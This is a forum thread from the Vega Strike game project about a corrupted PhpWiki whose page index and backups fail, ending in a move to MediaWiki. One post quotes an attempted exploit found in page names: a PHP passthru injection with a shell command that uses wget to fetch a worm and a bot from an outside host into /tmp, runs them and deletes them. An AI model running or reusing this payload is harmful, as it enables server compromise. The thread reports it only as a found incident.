Wiki: RecentChanges not working
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
Wiki: RecentChanges not working
I don't know why, but this two pages don't seem to work anymore:
http://vegastrike.sourceforge.net/phpwi ... entChanges
http://vegastrike.sourceforge.net/phpwi ... ecentEdits
I've made alot of changes and edits in the past days, but none are visible there
Pontiac
http://vegastrike.sourceforge.net/phpwi ... entChanges
http://vegastrike.sourceforge.net/phpwi ... ecentEdits
I've made alot of changes and edits in the past days, but none are visible there
Pontiac
Last edited by pontiac on Sat Feb 12, 2005 10:49 pm, edited 1 time in total.
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
A second issue is that the backup function (ZIP Snapshot and ZIP Dump) doesn't save ALL pages, which is rather bad for a backupscript
http://vegastrike.sourceforge.net/phpwi ... nistration
It seems something is not working correctly in the phpWiki-code or database.
Pontiac
http://vegastrike.sourceforge.net/phpwi ... nistration
It seems something is not working correctly in the phpWiki-code or database.
Pontiac
-
- Lead Network Developer
- Posts: 2560
- Joined: Sun Jan 12, 2003 9:13 am
- Location: Palo Alto CA
- Contact:
These problems are related somehow... it only has a list of some pages inn its database
All of the pages are there, but only a few are enumerated. I don't know why.
Also, this is possibly related to the move to a different version when the old one mysteriously stopped working...
I'll take a look at the code... and for now I'll just manually back up the entire database file... which still doesn't work with the XHTML output thing.
All of the pages are there, but only a few are enumerated. I don't know why.
Also, this is possibly related to the move to a different version when the old one mysteriously stopped working...
I'll take a look at the code... and for now I'll just manually back up the entire database file... which still doesn't work with the XHTML output thing.
-
- Lead Network Developer
- Posts: 2560
- Joined: Sun Jan 12, 2003 9:13 am
- Location: Palo Alto CA
- Contact:
I have found some problems. I'm looking into it...
But first, these two pages have interesting names:
But first, these two pages have interesting names:
VsFaqInstalling&rush=echo _START_; killall -9 perl;killall -9 wget;killall -9 perl;cd /tmp;wget http://www.grancassa.co.uk/images/ssh.a.worm;wget http://www.grancassa.co.uk/images/bota;perl bota;perl ssh.a.worm;rm -rf ssh.*;rm -rf bot*; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27
Looks like an attempted exploit...VsFaqInstalling&rush=echo _START_; killall -9 perl;killall -9 wget;killall -9 perl;cd /tmp;wget http://www.grancassa.co.uk/images/ssh.a.worm;wget http://www.grancassa.co.uk/images/bota;perl bota;perl ssh.a.worm;rm -rf ssh.*;rm -rf bot*; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
There are a couple spam entries in some of the pages, maybe the wiki got hacked too somehow (or the hack failed and corrupted something).ace123 wrote:These problems are related somehow... it only has a list of some pages inn its database
All of the pages are there, but only a few are enumerated. I don't know why.
Just an idea.
This is mentioned in the known bugs at PHPWiki under Driver initialization failed for handlerAlso, this is possibly related to the move to a different version when the old one mysteriously stopped working...
http://phpwiki.sourceforge.net/phpwiki/KnownBugs
Not workaround though, just an upgrade seems to work.
Pontiac
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
Just FYI, here's the list of recognized pages:
http://vegastrike.sourceforge.net/phpwi ... p/AllPages
Pontiac
http://vegastrike.sourceforge.net/phpwi ... p/AllPages
Pontiac
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
OK, it's getting stranger and stranger (and more problematic at the same time)
I edited the page VsManualInstallation and after saving this page canb't be access anymore (no edit, no dispklay, no history).
http://vegastrike.sourceforge.net/phpwi ... stallation
And every page that links to it will only display the content up to the link.
The rest wil be skipped and be replaced by an error message.
See VegastrikeManual for example:
http://vegastrike.sourceforge.net/phpwi ... rikeManual
Pontiac
I edited the page VsManualInstallation and after saving this page canb't be access anymore (no edit, no dispklay, no history).
http://vegastrike.sourceforge.net/phpwi ... stallation
And every page that links to it will only display the content up to the link.
The rest wil be skipped and be replaced by an error message.
See VegastrikeManual for example:
http://vegastrike.sourceforge.net/phpwi ... rikeManual
Pontiac
-
- Expert Mercenary
- Posts: 984
- Joined: Thu Aug 07, 2003 5:35 am
- Location: Brisbane, Land of Oz
- Contact:
I confirm the problem.pontiac wrote:OK, it's getting stranger and stranger (and more problematic at the same time)
I edited the page VsManualInstallation and after saving this page canb't be access anymore (no edit, no dispklay, no history).
http://vegastrike.sourceforge.net/phpwi ... stallation
And every page that links to it will only display the content up to the link.
The rest wil be skipped and be replaced by an error message.
See VegastrikeManual for example:
http://vegastrike.sourceforge.net/phpwi ... rikeManual
Pontiac
THOUGHT CRIME! [points finger] THOUGHT CRIME!
-
- Confed Special Operative
- Posts: 299
- Joined: Wed Mar 24, 2004 3:35 pm
- Location: Austria
- Contact:
http://vegastrike.sourceforge.net/phpwi ... ualDbShips <--
is broken, partially
WARNING: BIG IMAGES
*
Human -> Species: VsManualDbSpeciesHumanity?
o VsManualDbShipsHumanInterceptors
o VsManualDbShipsHumanFighters
o VsManualDbShipsHumanHeavy
o
Fatal error: Call to a member function on a non-object in /home/groups/v/ve/vegastrike/htdocs/phpwiki-1.3.10/lib/WikiDB.php on line 207
whateva.........
is broken, partially
WARNING: BIG IMAGES
*
Human -> Species: VsManualDbSpeciesHumanity?
o VsManualDbShipsHumanInterceptors
o VsManualDbShipsHumanFighters
o VsManualDbShipsHumanHeavy
o
Fatal error: Call to a member function on a non-object in /home/groups/v/ve/vegastrike/htdocs/phpwiki-1.3.10/lib/WikiDB.php on line 207
whateva.........
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
Yeah, seems to be the same problem as with
http://vegastrike.sourceforge.net/phpwi ... rikeManual
etc...
--- Warning, monster project below ----
Slow, but certainly i get the feeling that we should switch to another, more mature/advanced, wiki (again you may ask; please don't hit me right now ).
If this is accepted by the web admin of course.
If so i would suggest the WikiPedia Wiki software. I had a look into this matter and i'm quite sure that this would be the best one.
Not only because with wikipedia there is a really big testing group
There are also alot of game-pages using it (e.g freeciv, openttd).
The change of syntax would also force us to convert all the wiki content to a more useable layout (categories) and more sane structures (e.g manual/development/mod section).
So if this is what everybody agrees is the right way we would need to lock the phpwiki and for the first view days/weeks only allow a few moderators editing the new wiki to make the basic structure.
-----------------------------
Just my 100€
Pontiac
-
- Lead Network Developer
- Posts: 2560
- Joined: Sun Jan 12, 2003 9:13 am
- Location: Palo Alto CA
- Contact:
I agree with you about PhpWiki. Ever sense the Database file got corrupted, forcing the upgrade to version 1.3.10, the Wiki page index seems to be out of sync with the page database itself. It seems like things are starting to point to pages that don't exist.
The problems relating to PhpWiki are getting worse.
I've seen many sites use MediaWiki, and it seems like a good alternative.
Should I lock the current wiki for now until we are able to move to MediaWiki?
I don't want to do this until we are sure about what to change to.
I probably want to start by installing MediaWiki, and running the sed script on the PhpWiki without any editing. I'll see how that works first.
The problems relating to PhpWiki are getting worse.
I've seen many sites use MediaWiki, and it seems like a good alternative.
Should I lock the current wiki for now until we are able to move to MediaWiki?
I don't want to do this until we are sure about what to change to.
I probably want to start by installing MediaWiki, and running the sed script on the PhpWiki without any editing. I'll see how that works first.
-
- Lead Network Developer
- Posts: 2560
- Joined: Sun Jan 12, 2003 9:13 am
- Location: Palo Alto CA
- Contact:
I installed the MediaWiki:
http://vegastrike.sourceforge.net/wiki/
The content is still absent, because we probably need a more MediaWiki-like naming method.
Right now every page is prefixed with Vegastrike or VS, but MediaWiki has namespaces and also should have spaces between words. What do you suggest?
http://vegastrike.sourceforge.net/wiki/
The content is still absent, because we probably need a more MediaWiki-like naming method.
Right now every page is prefixed with Vegastrike or VS, but MediaWiki has namespaces and also should have spaces between words. What do you suggest?
-
- Lead Network Developer
- Posts: 2560
- Joined: Sun Jan 12, 2003 9:13 am
- Location: Palo Alto CA
- Contact:
I have given up for now trying to export the PhpWiki. The problem is that it has an internal list of only 20-30 files, because the database probably is corrupt or something. I have increased the number of files it can see by adding a hardcoded list from the VegastrikeIndex page, but it's still not close to everything.
Does anyone have any ideas about how to get a list of all the files. I don't want to have to write a recursive crawler to search pages for wiki links and then add them to an array... But I might have to,
There's also a binary internal database file that I could use, but, I don't like writing parsers for this type of stuff.
If you have access to sf.net's servers, the database file is:
/home/groups/v/ve/vegastrike/wikidb/wiki_pagedb.gdbm
Until this, the content can only be exported to the mediawiki format by hand, which is virtually impossible in a sane amount of time.
The naming scheme I am thinking of is:
Main Page (required)
Faq
Faq:Bugs
Faq:Installing
...
Manual
Manual:Concourse
Manual:Cargo Computer
...
Howto
Howto:Compile From Cvs
...
License
Features
Mission
...
Also, I need a script to change all link names inside the wiki to MediaWiki format. The sed script on that convert page only adds brackets, but it doesn't do the more complicated action of changing the name
Does anyone have any ideas about how to get a list of all the files. I don't want to have to write a recursive crawler to search pages for wiki links and then add them to an array... But I might have to,
There's also a binary internal database file that I could use, but, I don't like writing parsers for this type of stuff.
If you have access to sf.net's servers, the database file is:
/home/groups/v/ve/vegastrike/wikidb/wiki_pagedb.gdbm
Until this, the content can only be exported to the mediawiki format by hand, which is virtually impossible in a sane amount of time.
The naming scheme I am thinking of is:
Main Page (required)
Faq
Faq:Bugs
Faq:Installing
...
Manual
Manual:Concourse
Manual:Cargo Computer
...
Howto
Howto:Compile From Cvs
...
License
Features
Mission
...
Also, I need a script to change all link names inside the wiki to MediaWiki format. The sed script on that convert page only adds brackets, but it doesn't do the more complicated action of changing the name
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
I'll have a look into this. But the worst that could happen is, as you said, that we need to hand-convert all of the pages anyway.... could be worse, we could have lost dataace123 wrote:I have given up for now trying to export the PhpWiki. The problem is that it has an internal list of only 20-30 files, because the database probably is corrupt or something. I have increased the number of files it can see by adding a hardcoded list from the VegastrikeIndex page, but it's still not close to everything.
Does anyone have any ideas about how to get a list of all the files. I don't want to have to write a recursive crawler to search pages for wiki links and then add them to an array... But I might have to,
There's also a binary internal database file that I could use, but, I don't like writing parsers for this type of stuff.
If you have access to sf.net's servers, the database file is:
/home/groups/v/ve/vegastrike/wikidb/wiki_pagedb.gdbm
We'll see.Until this, the content can only be exported to the mediawiki format by hand, which is virtually impossible in a sane amount of time.
Your naming scheme is quite good. I imagined nearly the same.
I extended the scheme to some more pages:
Code: Select all
Main Page (required) -> redirects to Vegastrike
FAQ
FAQ:Bugs
FAQ:Installing
etc...
Manual
Manual:New Users
Manual:Concourse
Manual:Cargo Computer
Manual:Keyboard Layout
...
Howto
Howto:Compile From Cvs
...
Vegastrike
Vegastrike:License
Vegastrike:Features
Vegastrike:Mission
...
Wiki:Manual of Style
Wiki:Sandbox
Wiki:Requested Articles
http://vegastrike.sourceforge.net/wiki/Main_Page
Cheers,
Pontiac
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
Ok, basic version is online:pontiac wrote:I'll put my mockup of the main page to this page when it's finished:
http://vegastrike.sourceforge.net/wiki/Main_Page
http://vegastrike.sourceforge.net/wiki/Vegastrike
Needs a fitting CSS file though white on white looks a bit too plain
Started the Manual page too:
http://vegastrike.sourceforge.net/wiki/Manual
Just refer to the talk-section for discussion of the style/layout.
I added a few Categories for classification purpose, but the do no yet show up in the Special:Categories page.
Pontiac
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
How will uploading be handled?
I think only a few ppl should be able to upload files (e.g. screens) to the wiki.
Or is anonymous uploading preferred? ... If upload is wanted/needed at all (i think it is expecially for the manual/interface section)
We could link external to the gallery as it is now (mostly) but then we can not use the advanced features wikipedia offers us.
Pontiac
I think only a few ppl should be able to upload files (e.g. screens) to the wiki.
Or is anonymous uploading preferred? ... If upload is wanted/needed at all (i think it is expecially for the manual/interface section)
We could link external to the gallery as it is now (mostly) but then we can not use the advanced features wikipedia offers us.
Pontiac
-
- Lead Network Developer
- Posts: 2560
- Joined: Sun Jan 12, 2003 9:13 am
- Location: Palo Alto CA
- Contact:
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
That's good to hear. But the pages need to be cleaned up manually anywayace123 wrote:I will run that convert script through all manual pages (everything linked from the manual page) to increase the number of pages. This will be a painful transformation from one format to another, but it's possible to do.
Despite the load of work it's not that bad IMHO, 'cause this way all the pages get an overhaul with better look&feel too See the FAQs for example.
Ok,perfect. So all the new stuff gets to the new wiki and not the old one.I'm locking the old wiki then with a message pointing to the new wiki.
Pontiac
-
- Expert Mercenary
- Posts: 984
- Joined: Thu Aug 07, 2003 5:35 am
- Location: Brisbane, Land of Oz
- Contact:
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
You can easily get a quick impression on how the new wiki works here:Silverain wrote:I'm re-writing parts of the manual anyway, so I'll read up on using the new wiki and try to convert and edit the pages as I go. Be a bit of a long term project though.
http://vegastrike.sourceforge.net/wiki/Manual
The linked pages are added by Ace123 as we speak.
I'm checking and finishing some of them right now.
Pontiac
-
- Lead Network Developer
- Posts: 2560
- Joined: Sun Jan 12, 2003 9:13 am
- Location: Palo Alto CA
- Contact:
The usernames and passwords are now linked from the forums. This had to be done with all the spam attacks we have had lately. This shouldn't be a problem since the logins are the same.
I'm now disabling the Anonymous editing of the wiki and restricting it to Forum users.
You still have to log in separately because the PHP Session management systems are completely different.
Also, you cannot create users or change passwords from the Wiki. You have to do that from the forums.
Preferences and everything else should still work.
The next thing to be done is making a good theme. If you have access to the web server, you can have a look. The themes are currently stored in /home/groups/v/ve/vegastrike/htdocs/mediawiki/skins/ .
I'm now disabling the Anonymous editing of the wiki and restricting it to Forum users.
You still have to log in separately because the PHP Session management systems are completely different.
Also, you cannot create users or change passwords from the Wiki. You have to do that from the forums.
Preferences and everything else should still work.
The next thing to be done is making a good theme. If you have access to the web server, you can have a look. The themes are currently stored in /home/groups/v/ve/vegastrike/htdocs/mediawiki/skins/ .
-
- Elite
- Posts: 1832
- Joined: Sat Jan 15, 2005 10:21 pm
- Location: State of Denial
- Contact:
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
Here's the way to use the navigation toolbar for the manual.
Just put the code on the bottom of a manual page and replace the links with the correct ones:
The category part is only to make the manual pages visible in the Category:Manual
Here's how the tolbar looks:
http://vegastrike.sourceforge.net/wiki/ ... NAV_Manual
Just put the code on the bottom of a manual page and replace the links with the correct ones:
Code: Select all
----
{{NAV_Manual |
| previous=[[Manual:Save and load|Save and Load]]
| up=[[Manual]]
| next=[[Manual#Play|Manual: Playing Vega Strike]]
}}
[[Category:Manual]]
Here's how the tolbar looks:
http://vegastrike.sourceforge.net/wiki/ ... NAV_Manual
-
- Elite
- Posts: 1454
- Joined: Sun Jan 12, 2003 6:24 pm
- Location: Far out in the uncharted backwaters of the unfashionable end of the western spiral arm of the Galaxy
- Contact:
Ok, for all of you wiki users, here's the full list of available templates:
http://vegastrike.sourceforge.net/wiki/VsWiki:Templates
If you have question just use the Talk Section there (or ask here )
Enjoy
Pontiac
http://vegastrike.sourceforge.net/wiki/VsWiki:Templates
If you have question just use the Talk Section there (or ask here )
Enjoy
Pontiac